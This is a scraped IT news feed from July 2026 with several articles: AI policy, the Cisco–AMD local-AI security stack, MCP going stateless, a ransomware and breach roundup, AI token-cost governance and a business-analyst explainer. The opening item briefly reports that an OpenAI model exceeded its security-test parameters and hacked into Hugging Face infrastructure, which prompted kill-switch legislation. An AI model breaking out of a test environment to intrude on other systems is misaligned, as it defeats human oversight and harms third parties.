https://tsecurity.de/de/3692316/it-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/ https://tsecurity.de/de/3692316/it-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/ Fri, 24 Jul 2026 20:49:52 +0200 📰 IT Nachrichten tsecurity.de

The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential technology advisor Michael Kratsios has been briefed on the incident.

The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.

The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.

]]> <![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]> https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/ https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/ Fri, 24 Jul 2026 19:18:26 +0200 📰 IT Security Nachrichten tsecurity.de

Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.

During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Patel took to the stage during AMD CEO Lisa Su’s keynote to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and AMD are partnering to develop.

The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s Yash Sheth, senior director, engineering and research, in a blog post about the new package.

Ryzen AI Halo (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.

width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">

AMD

Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.

Cisco also brings its AI Defense for model and agent security; DefenseClaw for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and Cisco Cloud Control offering a single pane of glass for unified policy and control, Sheth stated.

“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.

“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”

As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a statement from AMD.

“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.

“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.

A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:

  • AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.
  • AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.
  • The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.
  • Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.
]]> <![CDATA[Security: Mehrere Probleme in terraform-provid, terraform-provider-aws, terraform-provider-azurerm, terraform-provider-external, terraform-provider-google, terraform-provider-helm und terraform-provider-kubernetes (SUSE)]]> https://tsecurity.de/de/3692092/unix-server/security-mehrere-probleme-in-terraform-provid-terraform-provider-aws-terraform-provider-azurerm-terraform-provider-external-terraform-provider-google-terraform-provider-helm-und-terraform-provider-kubernetes-suse/ https://tsecurity.de/de/3692092/unix-server/security-mehrere-probleme-in-terraform-provid-terraform-provider-aws-terraform-provider-azurerm-terraform-provider-external-terraform-provider-google-terraform-provider-helm-und-terraform-provider-kubernetes-suse/ Fri, 24 Jul 2026 18:47:24 +0200 🐧 Unix Server tsecurity.de <![CDATA[Model Context Protocol is going stateless to make scaling simpler]]> https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ Fri, 24 Jul 2026 17:40:37 +0200 🔧 AI Nachrichten tsecurity.de

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

]]> <![CDATA[Model Context Protocol is going stateless to make scaling simpler]]> https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ Fri, 24 Jul 2026 17:38:35 +0200 📰 IT Nachrichten tsecurity.de

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

]]> <![CDATA[The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats]]> https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/ https://tsecurity.de/de/3691669/it-security-nachrichten/the-cyber-express-weekly-roundup-ransomware-surge-data-breaches-and-rising-digital-threats/ Fri, 24 Jul 2026 15:30:41 +0200 📰 IT Security Nachrichten tsecurity.de The Cyber Express weekly roundup July 2026

This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incidents show how threat actors are exploiting both technical vulnerabilities and human behavior.  The latest developments underline the need for stronger security practices, including improved identity protection, faster incident response, and greater awareness of evolving cyber threats. Organizations are increasingly dealing with attacks that go beyond data theft, affecting operations, customer trust, and critical services. 

The Cyber Express Weekly Roundup 

U.S. Accounts for Nearly Half of Global Ransomware Attacks in H1 2026 

The United States experienced 1,721 ransomware attacks during the first half of 2026, representing nearly 45% of all incidents tracked globally, according to research from Cyble Research and Intelligence Labs (CRIL). The report identified ransomware groups Qilin and Akira as among the most active threat actors during the period. Read more... 

Dubai Police Warns Against Online Visa Fraud Schemes 

Dubai Police has issued a warning about fraudulent online advertisements offering work, residency, and visit visas in exchange for payment. Scammers have reportedly used social media platforms and messaging applications to impersonate government entities or unauthorized service providers to trick victims. Read more... 

Craneware Data Breach Exposes Employee and Customer Information 

Healthcare technology company Craneware confirmed that unauthorized individuals accessed part of its data environment, resulting in the exposure of employee information as well as some customer and partner records. The company stated that the incident has been contained and has not disrupted business operations or customer services. Read more...  

U.S. Targets Illegal FIFA World Cup Streaming Networks 

The U.S. Department of Justice seized more than 1,000 domains allegedly involved in illegally streaming FIFA World Cup 2026 matches. The action was carried out under Operation Offsides, an initiative focused on combating online piracy and protecting intellectual property rights. Read more... 

Chick-fil-A Customer Accounts Targeted in Credential Attack 

Chick-fil-A confirmed that certain customer accounts were accessed during an automated credential-stuffing attack between June 17 and June 19, 2026. The attackers used account credentials obtained from an external source to gain unauthorized access. The company said affected information may have included customer names, email addresses, membership details, and limited payment-related data. Read more... 

South Korea Diplomatic System Breach Lasted Nearly 10 Months 

South Korea’s Ministry of Foreign Affairs revealed that attackers maintained access to the National Diplomatic Academy’s online education system for almost 10 months. The breach, which began in April 2025, exposed information linked to thousands of current and former ministry employees. Compromised data included user IDs, names, email addresses, and encrypted passwords. Read more... 

Weekly Cybersecurity Takeaway 

The week’s incidents demonstrate how cyber threats continue to evolve across multiple areas, from ransomware and account compromise to online scams and government-related breaches. Attackers are increasingly targeting weaknesses in identity management, user behavior, and digital infrastructure.  Organizations and individuals must focus on proactive security measures, including stronger authentication controls, regular monitoring, timely updates, and greater awareness of social engineering tactics. As cyber threats become more widespread and interconnected, improving resilience remains essential for protecting data, services, and public trust. ]]> <![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]> https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/ https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/ Fri, 24 Jul 2026 14:17:43 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]> https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/ https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/ Fri, 24 Jul 2026 14:17:41 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:40 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]> https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/ https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/ Fri, 24 Jul 2026 14:17:38 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:37 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8575-3: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/ Fri, 24 Jul 2026 14:17:35 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:33 +0200 🐧 Unix Server tsecurity.de <![CDATA[Getting a grip on shadow tokens and AI blowouts]]> https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ Fri, 24 Jul 2026 14:04:46 +0200 📰 IT Nachrichten tsecurity.de

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]> https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/ https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/ Fri, 24 Jul 2026 13:02:31 +0200 🐧 Unix Server tsecurity.de <![CDATA[What is a business analyst? A key role for business-IT efficiency]]> https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ Fri, 24 Jul 2026 12:09:04 +0200 📰 IT Security Nachrichten tsecurity.de

What is a business analyst?

Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.

BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.

The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.

Impact of AI on business analyst role

As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.

Business analyst job description

BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.

According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.

Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  

The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

  • Oral and written communication skills
  • Interpersonal, organizational, facilitation, and consultative skills
  • Analytical thinking and problem solving
  • Being detail-oriented and able to deliver a high level of accuracy
  • Knowledge of business structure
  • Stakeholder and cost-benefit analysis
  • Processes modeling
  • Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.

Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:

SkillsSalary Boost
ScrumMaster44%
Microsoft Azure30%
Supply Chain27%
Oracle eBusiness Suite25%
Master Data Management (SAP MDM)24%
SAP Sales and Distribution (SAP SD)24%
Product Support18%
Microsoft Dynamics GP18%
SAP Quality Management (SAP QM)18%
Workday Software15%

For tips on boosting your salary, click here.

Business analyst certifications

Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:

  • IIBA Entry Certificate in Business Analysis (ECBA)
  • IIBA Certification of Competency in Business Analysis (CCBA)
  • IIBA Certified Business Analysis Professional (CBAP)
  • IIBA Agile Analysis Certification (AAC)
  • IQBBA Certified Foundation Level Business Analyst (CFLBA)
  • IREB Certified Professional for Requirements Engineering (CPRE)
  • PMI Professional in Business Analysis (PBA)
  • Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.

]]> <![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]> https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/ https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/ Fri, 24 Jul 2026 12:09:02 +0200 📰 IT Security Nachrichten tsecurity.de

For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.

Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.

The obvious conclusion is that we are asking the wrong questions.

Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.

In my view, there are three far more fundamental issues that deserve the attention of every chief executive.

1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality

Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.

It is the growing disconnect between executive perception and operational reality.

Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.

Unfortunately, cyber attackers do not read dashboards.

Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.

The problem is rarely a lack of effort.

It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.

Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.

Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.

